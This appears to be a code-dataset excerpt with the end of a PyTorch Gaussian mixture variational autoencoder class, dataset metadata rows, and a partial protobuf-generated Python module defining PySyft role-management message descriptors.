z = return_dict['z']
# decode
x_ = self.decode(z)
return x_, return_dict
class GaussianMixtureVariationalAutoEncoderBig(nn.Module):
def __init__(self, dimensions: int, in_channels: int, dim_z: int, dim_w: int, dim_c: int, channels: Sequence[int],
out_ch: int, strides: Sequence[int], kernel_size=5, norm='batch', act='leakyrelu', bottleneck=False,
skip=False, norm_mean=0, norm_std=1):
"""
:param dimensions:
:param in_channels:
:param dim_z:
:param dim_w:
:param channels:
:param strides:
:param kernel_size:
:param norm:
:param act:
:param bottleneck:
:param skip:
:param norm_mean:
:param norm_std:
"""
super(GaussianMixtureVariationalAutoEncoderBig, self).__init__()
self.norm_mean = norm_mean
self.norm_std = norm_std
self.dim_c = dim_c
self.skip = skip
self.encode_down = Encoder(dimensions=dimensions, in_channels=in_channels, channels=channels, strides=strides,
kernel_size=kernel_size, norm=norm, act=act, name_prefix='ENC_')
self.encode_up = Decoder(dimensions=dimensions, in_channels=channels[-1], channels=channels, out_ch=channels[0],
strides=strides, kernel_size=kernel_size, norm=norm, act=act, act_final='identity',
bottleneck=bottleneck, skip=skip, add_final=False, name_prefix='ENC_')
self.decode_down = Encoder(dimensions=dimensions, in_channels=in_channels, channels=channels, strides=strides,
kernel_size=kernel_size, norm=norm, act=act, name_prefix='DEC_')
self.decode_up = Decoder(dimensions=dimensions, in_channels=channels[-1], channels=channels, out_ch=out_ch,
strides=strides, kernel_size=kernel_size, norm=norm, act=act, act_final='sigmoid',
bottleneck=bottleneck, skip=skip, add_final=True, name_prefix='DEC_')
z_channels = channels[0]
# Z
self.z_mu_conv = Convolution(dimensions=dimensions, in_channels=z_channels, out_channels=dim_z, strides=1,
kernel_size=1, conv_only=True, bias=True, norm='batch', act='relu', name='')
self.z_log_sigma_conv = Convolution(dimensions=dimensions, in_channels=z_channels, out_channels=dim_z,
strides=1, kernel_size=1, conv_only=True, bias=True, norm='batch',
act='relu', name='')
self.z_log_sigma_conv.apply(weights_init)
# W
self.w_mu_conv = Convolution(dimensions=dimensions, in_channels=z_channels, out_channels=dim_w, strides=1,
kernel_size=1, conv_only=True, bias=True, norm='batch', act='relu', name='')
self.w_log_sigma_conv = Convolution(dimensions=dimensions, in_channels=z_channels, out_channels=dim_w,
strides=1, kernel_size=1, conv_only=True, bias=True, norm='batch',
act='relu', name='')
self.w_log_sigma_conv.apply(weights_init)
# Z_WC
self.z_wc_conv = Convolution(dimensions=dimensions, in_channels=dim_w, out_channels=channels[0], strides=1,
kernel_size=1, conv_only=False, bias=True, norm='batch', act='relu', name='')
self.z_wc_mu_conv = Convolution(dimensions=dimensions, in_channels=channels[0], out_channels=dim_z*dim_w,
strides=1, kernel_size=1, conv_only=True, bias=True, norm='batch', act='relu')
self.z_wc_log_sigma_conv = Convolution(dimensions=dimensions, in_channels=channels[0], out_channels=dim_z*dim_w,
strides=1, kernel_size=1, conv_only=True, bias=True, norm='batch', act='relu')
self.z_wc_log_sigma_conv.apply(weights_init)
def _latent_distribution(self, z_enc: torch):
# q(z|x)
z_mean = self.z_mu_conv(z_enc)
z_log_sigma = self.z_log_sigma_conv(z_enc)
z = z_mean + torch.exp(0.5 * z_log_sigma) * generate_tensor(z_mean)
# q(w|x)
w_mean = self.w_mu_conv(z_enc)
w_log_sigma = self.w_log_sigma_conv(z_enc)
w = w_mean + torch.exp(0.5 * w_log_sigma) * generate_tensor(w_mean)
# posterior p(z|w,c)
w_enc = self.z_wc_conv(w)
z_wc_mean = self.z_wc_mu_conv(w_enc)
z_wc_log_sigma = self.z_wc_log_sigma_conv(w_enc)
z_wc = z_wc_mean + torch.exp(z_wc_log_sigma) * generate_tensor(z_wc_mean)
# prior p(c) network
z_sample = torch.tile(z, [1, self.dim_c, 1, 1])
pc_logit = -0.5 * torch.pow(torch.subtract(z_sample, z_wc_mean), 2) * torch.exp(z_wc_log_sigma) \
- z_wc_log_sigma + torch.log(torch.tensor(np.pi))
pc = self.softMax(pc_logit)
return {'z': z, 'w': w, 'z_wc': z_wc, 'pc': pc}
def _skip_forward(self, x: torch):
# encoding network
down_samples = []
z_enc = x
for layer in self.encode_down:
z_enc = layer(z_enc)
if hasattr(layer, 'conv'):
down_samples.append(z_enc)
for i, layer in enumerate(self.decode_up):
if hasattr(layer, 'conv'):
if layer.conv.stride[0] == 2:
z_enc = torch.cat((z_enc, down_samples[-i-1]), 1)
z_enc = layer(z_enc)
# latent
return_dict = self._latent_distribution(z_enc)
x_ = return_dict['z']
# decoding network
down_samples = []
for layer in self.encode_down:
down_samples.append(x_)
x_ = layer(x_)
for i, layer in enumerate(self.decode_up):
x_ = layer(torch.cat((x_, down_samples[-i-1]), 1))
return x_, return_dict
def forward(self, x: torch):
if self.skip:
return self._skip_forward(x)
# encoding network
z_enc = self.encode_up(self.encode_down(x))
# latent
return_dict = self._latent_distribution(z_enc)
z = return_dict['z']
# decoding network p(x|z) parameter
x_ = self.decode_up(self.decode_down(z))
return x_, return_dict
| 45.156716
| 125
| 0.597257
| 1,600
| 12,102
| 4.211875
| 0.07375
| 0.016916
| 0.065292
| 0.089034
| 0.880991
| 0.864668
| 0.855171
| 0.85072
| 0.828461
| 0.81748
| 0
| 0.008775
| 0.293753
| 12,102
| 267
| 126
| 45.325843
| 0.779689
| 0.061808
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| 0.75
| 0
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| 0.028264
| 0.006953
| 0
| 0
| 0
| 0
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| 1
| 0.04878
| false
| 0
| 0.04878
| 0
| 0.152439
| 0
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| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
ed9e92cd7647004f9b215a116f74fc70fbaf3764
| 48,407
|
py
|
Python
|
src/syft/proto/grid/messages/role_messages_pb2.py
|
dnabanita7/PySyft
|
ce2510e65f5bad382e88806bcde30fa38c3c76c4
|
[
"Apache-2.0"
] | 2
|
2018-07-23T20:34:10.000Z
|
2020-08-01T09:09:09.000Z
|
packages/syft/src/syft/proto/grid/messages/role_messages_pb2.py
|
Metrix1010/PySyft
|
6477f64b63dc285059c3766deab3993653cead2e
|
[
"Apache-2.0"
] | 5
|
2020-09-11T05:47:12.000Z
|
2020-10-13T08:36:17.000Z
|
packages/syft/src/syft/proto/grid/messages/role_messages_pb2.py
|
Metrix1010/PySyft
|
6477f64b63dc285059c3766deab3993653cead2e
|
[
"Apache-2.0"
] | 1
|
2020-10-15T06:13:38.000Z
|
2020-10-15T06:13:38.000Z
|
# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: proto/grid/messages/role_messages.proto
"""Generated protocol buffer code."""
# third party
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import symbol_database as _symbol_database
# @@protoc_insertion_point(imports)
_sym_db = _symbol_database.Default()
# syft absolute
from syft.proto.core.common import (
common_object_pb2 as proto_dot_core_dot_common_dot_common__object__pb2,
)
from syft.proto.core.io import address_pb2 as proto_dot_core_dot_io_dot_address__pb2
DESCRIPTOR = _descriptor.FileDescriptor(
name="proto/grid/messages/role_messages.proto",
package="syft.grid.messages",
syntax="proto3",
serialized_options=None,
create_key=_descriptor._internal_create_key,
serialized_pb=b'\n\'proto/grid/messages/role_messages.proto\x12\x12syft.grid.messages\x1a%proto/core/common/common_object.proto\x1a\x1bproto/core/io/address.proto"\x9c\x01\n\x11\x43reateRoleMessage\x12%\n\x06msg_id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12&\n\x07\x61\x64\x64ress\x18\x02 \x01(\x0b\x32\x15.syft.core.io.Address\x12\x0f\n\x07\x63ontent\x18\x03 \x01(\t\x12\'\n\x08reply_to\x18\x04 \x01(\x0b\x32\x15.syft.core.io.Address"\x89\x01\n\x12\x43reateRoleResponse\x12%\n\x06msg_id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12\x13\n\x0bstatus_code\x18\x02 \x01(\x05\x12\x0f\n\x07\x63ontent\x18\x03 \x01(\t\x12&\n\x07\x61\x64\x64ress\x18\x04 \x01(\x0b\x32\x15.syft.core.io.Address"\x99\x01\n\x0eGetRoleMessage\x12%\n\x06msg_id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12&\n\x07\x61\x64\x64ress\x18\x02 \x01(\x0b\x32\x15.syft.core.io.Address\x12\x0f\n\x07\x63ontent\x18\x03 \x01(\t\x12\'\n\x08reply_to\x18\x04 \x01(\x0b\x32\x15.syft.core.io.Address"\x86\x01\n\x0fGetRoleResponse\x12%\n\x06msg_id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12\x13\n\x0bstatus_code\x18\x02 \x01(\x05\x12\x0f\n\x07\x63ontent\x18\x03 \x01(\t\x12&\n\x07\x61\x64\x64ress\x18\x04 \x01(\x0b\x32\x15.syft.core.io.Address"\x9a\x01\n\x0fGetRolesMessage\x12%\n\x06msg_id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12&\n\x07\x61\x64\x64ress\x18\x02 \x01(\x0b\x32\x15.syft.core.io.Address\x12\x0f\n\x07\x63ontent\x18\x03 \x01(\t\x12\'\n\x08reply_to\x18\x04 \x01(\x0b\x32\x15.syft.core.io.Address"\x87\x01\n\x10GetRolesResponse\x12%\n\x06msg_id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12\x13\n\x0bstatus_code\x18\x02 \x01(\x05\x12\x0f\n\x07\x63ontent\x18\x03 \x01(\t\x12&\n\x07\x61\x64\x64ress\x18\x04 \x01(\x0b\x32\x15.syft.core.io.Address"\x9c\x01\n\x11SearchRoleMessage\x12%\n\x06msg_id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12&\n\x07\x61\x64\x64ress\x18\x02 \x01(\x0b\x32\x15.syft.core.io.Address\x12\x0f\n\x07\x63ontent\x18\x03 \x01(\t\x12\'\n\x08reply_to\x18\x04 \x01(\x0b\x32\x15.syft.core.io.Address"\x89\x01\n\x12SearchRoleResponse\x12%\n\x06msg_id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12\x13\n\x0bstatus_code\x18\x02 \x01(\x05\x12\x0f\n\x07\x63ontent\x18\x03 \x01(\t\x12&\n\x07\x61\x64\x64ress\x18\x04 \x01(\x0b\x32\x15.syft.core.io.Address"\x9c\x01\n\x11UpdateRoleMessage\x12%\n\x06msg_id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12&\n\x07\x61\x64\x64ress\x18\x02 \x01(\x0b\x32\x15.syft.core.io.Address\x12\x0f\n\x07\x63ontent\x18\x03 \x01(\t\x12\'\n\x08reply_to\x18\x04 \x01(\x0b\x32\x15.syft.core.io.Address"\x89\x01\n\x12UpdateRoleResponse\x12%\n\x06msg_id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12\x13\n\x0bstatus_code\x18\x02 \x01(\x05\x12\x0f\n\x07\x63ontent\x18\x03 \x01(\t\x12&\n\x07\x61\x64\x64ress\x18\x04 \x01(\x0b\x32\x15.syft.core.io.Address"\x9c\x01\n\x11\x44\x65leteRoleMessage\x12%\n\x06msg_id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12&\n\x07\x61\x64\x64ress\x18\x02 \x01(\x0b\x32\x15.syft.core.io.Address\x12\x0f\n\x07\x63ontent\x18\x03 \x01(\t\x12\'\n\x08reply_to\x18\x04 \x01(\x0b\x32\x15.syft.core.io.Address"\x89\x01\n\x12\x44\x65leteRoleResponse\x12%\n\x06msg_id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12\x13\n\x0bstatus_code\x18\x02 \x01(\x05\x12\x0f\n\x07\x63ontent\x18\x03 \x01(\t\x12&\n\x07\x61\x64\x64ress\x18\x04 \x01(\x0b\x32\x15.syft.core.io.Addressb\x06proto3',
dependencies=[
proto_dot_core_dot_common_dot_common__object__pb2.DESCRIPTOR,
proto_dot_core_dot_io_dot_address__pb2.DESCRIPTOR,
],
)
_CREATEROLEMESSAGE = _descriptor.Descriptor(
name="CreateRoleMessage",
full_name="syft.grid.messages.CreateRoleMessage",
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name="msg_id",
full_name="syft.grid.messages.CreateRoleMessage.msg_id",
index=0,
number=1,
type=11,
cpp_type=10,
label=1,
has_default_value=False,
default_value=None,
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
_descriptor.FieldDescriptor(
name="address",
full_name="syft.grid.messages.CreateRoleMessage.address",
index=1,
number=2,
type=11,
cpp_type=10,
label=1,
has_default_value=False,
default_value=None,
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
_descriptor.FieldDescriptor(
name="content",
full_name="syft.grid.messages.CreateRoleMessage.content",
index=2,
number=3,
type=9,
cpp_type=9,
label=1,
has_default_value=False,
default_value=b"".decode("utf-8"),
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
_descriptor.FieldDescriptor(
name="reply_to",
full_name="syft.grid.messages.CreateRoleMessage.reply_to",
index=3,
number=4,
type=11,
cpp_type=10,
label=1,
has_default_value=False,
default_value=None,
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
],
extensions=[],
nested_types=[],
enum_types=[],
serialized_options=None,
is_extendable=False,
syntax="proto3",
extension_ranges=[],
oneofs=[],
serialized_start=132,
serialized_end=288,
)
_CREATEROLERESPONSE = _descriptor.Descriptor(
name="CreateRoleResponse",
full_name="syft.grid.messages.CreateRoleResponse",
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name="msg_id",
full_name="syft.grid.messages.CreateRoleResponse.msg_id",
index=0,
number=1,
type=11,
cpp_type=10,
label=1,
has_default_value=False,
default_value=None,
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
_descriptor.FieldDescriptor(
name="status_code",
full_name="syft.grid.messages.CreateRoleResponse.status_code",
index=1,
number=2,
type=5,
cpp_type=1,
label=1,
has_default_value=False,
default_value=0,
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
_descriptor.FieldDescriptor(
name="content",
full_name="syft.grid.messages.CreateRoleResponse.content",
index=2,
number=3,
type=9,
cpp_type=9,
label=1,
has_default_value=False,
default_value=b"".decode("utf-8"),
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
_descriptor.FieldDescriptor(
name="address",
full_name="syft.grid.messages.CreateRoleResponse.address",
index=3,
number=4,
type=11,
cpp_type=10,
label=1,
has_default_value=False,
default_value=None,
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
],
extensions=[],
nested_types=[],
enum_types=[],
serialized_options=None,
is_extendable=False,
syntax="proto3",
extension_ranges=[],
oneofs=[],
serialized_start=291,
serialized_end=428,
)
_GETROLEMESSAGE = _descriptor.Descriptor(
name="GetRoleMessage",
full_name="syft.grid.messages.GetRoleMessage",
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name="msg_id",
full_name="syft.grid.messages.GetRoleMessage.msg_id",
index=0,
number=1,
type=11,
cpp_type=10,
label=1,
has_default_value=False,
default_value=None,
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
_descriptor.FieldDescriptor(
name="address",
full_name="syft.grid.messages.GetRoleMessage.address",
index=1,
number=2,
type=11,
cpp_type=10,
label=1,
has_default_value=False,
default_value=None,
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
_descriptor.FieldDescriptor(
name="content",
full_name="syft.grid.messages.GetRoleMessage.content",
index=2,
number=3,
type=9,
cpp_type=9,
label=1,
has_default_value=False,
default_value=b"".decode("utf-8"),
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
_descriptor.FieldDescriptor(
name="reply_to",
full_name="syft.grid.messages.GetRoleMessage.reply_to",
index=3,
number=4,
type=11,
cpp_type=10,
label=1,
has_default_value=False,
default_value=None,
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
],
extensions=[],
nested_types=[],
enum_types=[],
serialized_options=None,
is_extendable=False,
syntax="proto3",
extension_ranges=[],
oneofs=[],
serialized_start=431,
serialized_end=584,
)
_GETROLERESPONSE = _descriptor.Descriptor(
name="GetRoleResponse",
full_name="syft.grid.messages.GetRoleResponse",
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name="msg_id",
full_name="syft.grid.messages.GetRoleResponse.msg_id",
index=0,
number=1,
type=11,
cpp_type=10,
label=1,
has_default_value=False,
default_value=None,
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
_descriptor.FieldDescriptor(
name="status_code",
full_name="syft.grid.messages.GetRoleResponse.status_code",
index=1,
number=2,
type=5,
cpp_type=1,
label=1,
has_default_value=False,
default_value=0,
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
_descriptor.FieldDescriptor(
name="content",
full_name="syft.grid.messages.GetRoleResponse.content",
index=2,
number=3,
type=9,
cpp_type=9,
label=1,
has_default_value=False,
default_value=b"".decode("utf-8"),
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
_descriptor.FieldDescriptor(
name="address",
full_name="syft.grid.messages.GetRoleResponse.address",
index=3,
number=4,
type=11,
cpp_type=10,
label=1,
has_default_value=False,
default_value=None,
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
],
extensions=[],
nested_types=[],
enum_types=[],
serialized_options=None,
is_extendable=False,
syntax="proto3",
extension_ranges=[],
oneofs=[],
serialized_start=587,
serialized_end=721,
)
_GETROLESMESSAGE = _descriptor.Descriptor(
name="GetRolesMessage",
full_name="syft.grid.messages.GetRolesMessage",
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name="msg_id",
full_name="syft.grid.messages.GetRolesMessage.msg_id",
index=0,
number=1,
type=11,
cpp_type=10,
label=1,
has_default_value=False,
default_value=None,
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
_descriptor.FieldDescriptor(
name="address",
full_name="syft.grid.messages.GetRolesMessage.address",
index=1,
number=2,
type=11,
cpp_type=10,
label=1,
has_default_value=False,
default_value=None,
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
_descriptor.FieldDescriptor(
name="content",
full_name="syft.grid.messages.GetRolesMessage.content",
index=2,
number=3,
type=9,
cpp_type=9,
label=1,
has_default_value=False,
default_value=b"".decode("utf-8"),
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
_descriptor.FieldDescriptor(
name="reply_to",
full_name="syft.grid.messages.GetRolesMessage.reply_to",
index=3,
number=4,
type=11,
cpp_type=10,
label=1,
has_default_value=False,
default_value=None,
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
],
extensions=[],
nested_types=[],
enum_types=[],
serialized_options=None,
is_extendable=False,
syntax="proto3",
extension_ranges=[],
oneofs=[],
serialized_start=724,
serialized_end=878,
)
_GETROLESRESPONSE = _descriptor.Descriptor(
name="GetRolesResponse",
full_name="syft.grid.messages.GetRolesResponse",
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name="msg_id",
full_name="syft.grid.messages.GetRolesResponse.msg_id",
index=0,
number=1,
type=11,
cpp_type=10,
label=1,
has_default_value=False,
default_value=None,
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
_descriptor.FieldDescriptor(
name="status_code",
full_name="syft.grid.messages.GetRolesResponse.status_code",
index=1,
number=2,
type=5,
cpp_type=1,
label=1,
has_default_value=False,
default_value=0,
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
_descriptor.FieldDescriptor(
name="content",
full_name="syft.grid.messages.GetRolesResponse.content",
index=2,
number=3,
type=9,
cpp_type=9,
label=1,
has_default_value=False,
default_value=b"".decode("utf-8"),
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
_descriptor.FieldDescriptor(
name="address",
full_name="syft.grid.messages.GetRolesResponse.address",
index=3,
number=4,
type=11,
cpp_type=10,
label=1,
has_default_value=False,
default_value=None,
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
],
extensions=[],
nested_types=[],
enum_types=[],
serialized_options=None,
is_extendable=False,
syntax="proto3",
extension_ranges=[],
oneofs=[],
serialized_start=881,
serialized_end=1016,
)
_SEARCHROLEMESSAGE = _descriptor.Descriptor(
name="SearchRoleMessage",
full_name="syft.grid.messages.SearchRoleMessage",
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name="msg_id",
full_name="syft.grid.messages.SearchRoleMessage.msg_id",
index=0,
number=1,
type=11,
cpp_type=10,
label=1,
has_default_value=False,
default_value=None,
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
_descriptor.FieldDescriptor(
name="address",
full_name="syft.grid.messages.SearchRoleMessage.address",
index=1,
number=2,
type=11,
cpp_type=10,
label=1,
has_default_value=False,
default_value=None,
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
_descriptor.FieldDescriptor(
name="content",
full_name="syft.grid.messages.SearchRoleMessage.content",
index=2,
number=3,
type=9,
cpp_type=9,
label=1,
has_default_value=False,
default_value=b"".decode("utf-8"),
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
_descriptor.FieldDescriptor(
name="reply_to",
full_name="syft.grid.messages.SearchRoleMessage.reply_to",
index=3,
number=4,
type=11,
cpp_type=10,
label=1,
has_default_value=False,
default_value=None,
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
],
extensions=[],
nested_types=[],
enum_types=[],
serialized_options=None,
is_extendable=False,
syntax="proto3",
extension_ranges=[],
oneofs=[],
serialized_start=1019,
serialized_end=1175,
)
_SEARCHROLERESPONSE = _descriptor.Descriptor(
name="SearchRoleResponse",
full_name="syft.grid.messages.SearchRoleResponse",
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name="msg_id",
full_name="syft.grid.messages.SearchRoleResponse.msg_id",
index=0,
number=1,
type=11,
cpp_type=10,
label=1,
has_default_value=False,
default_value=None,
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
_descriptor.FieldDescriptor(
name="status_code",
full_name="syft.grid.messages.SearchRoleResponse.status_code",
index=1,
number=2,
type=5,
cpp_type=1,
label=1,
has_default_value=False,
default_value=0,
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
_descriptor.FieldDescriptor(
name="content",
full_name="syft.grid.messages.SearchRoleResponse.content",
index=2,
number=3,
type=9,
cpp_type=9,
label=1,
has_default_value=False,
default_value=b"".decode("utf-8"),
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
_descriptor.FieldDescriptor(
name="address",
full_name="syft.grid.messages.SearchRoleResponse.address",
index=3,
number=4,
type=11,
cpp_type=10,
label=1,
has_default_value=False,
default_value=None,
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
],
extensions=[],
nested_types=[],
enum_types=[],
serialized_options=None,
is_extendable=False,
syntax="proto3",
extension_ranges=[],
oneofs=[],
serialized_start=1178,
serialized_end=1315,
)
_UPDATEROLEMESSAGE = _descriptor.Descriptor(
name="UpdateRoleMessage",
full_name="syft.grid.messages.UpdateRoleMessage",
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name="msg_id",
full_name="syft.grid.messages.UpdateRoleMessage.msg_id",
index=0,
number=1,
type=11,
cpp_type=10,
label=1,
has_default_value=False,
default_value=None,
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
_descriptor.FieldDescriptor(
name="address",
full_name="syft.grid.messages.UpdateRoleMessage.address",
index=1,
number=2,
type=11,
cpp_type=10,
label=1,
has_default_value=False,
default_value=None,
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
_descriptor.FieldDescriptor(
name="content",
full_name="syft.grid.messages.UpdateRoleMessage.content",
index=2,
number=3,
type=9,
cpp_type=9,
label=1,
has_default_value=False,
default_value=b"".decode("utf-8"),
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
_descriptor.FieldDescriptor(
name="reply_to",
full_name="syft.grid.messages.UpdateRoleMessage.reply_to",
index=3,
number=4,
type=11,
cpp_type=10,
label=1,
has_default_value=False,
default_value=None,
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
],
extensions=[],
nested_types=[],
enum_types=[],
serialized_options=None,
is_extendable=False,
syntax="proto3",
extension_ranges=[],
oneofs=[],
serialized_start=1318,
serialized_end=1474,
)
_UPDATEROLERESPONSE = _descriptor.Descriptor(
name="UpdateRoleResponse",
full_name="syft.grid.messages.UpdateRoleResponse",
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name="msg_id",
full_name="syft.grid.messages.UpdateRoleResponse.msg_id",
index=0,
number=1,
type=11,
cpp_type=10,
label=1,
has_default_value=False,
default_value=None,
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
_descriptor.FieldDescriptor(
name="status_code",
full_name="syft.grid.messages.UpdateRoleResponse.status_code",
index=1,
number=2,
type=5,
cpp_type=1,
label=1,
has_default_value=False,
default_value=0,
message_type=None,
enum_type=None,
containing_type=None,
is_extension=False,
extension_scope=None,
serialized_options=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
),
_descriptor.FieldDescriptor(
name="content",
full_name="syft.grid.messages.UpdateRoleResponse.content",
index=2,
number=3,
type=9,
cpp_type=9,
label=1,
has_default_value=False,
default_value=b"".decode("utf-8"),
message_type=None,
enum_type=None,
containing_type=None,
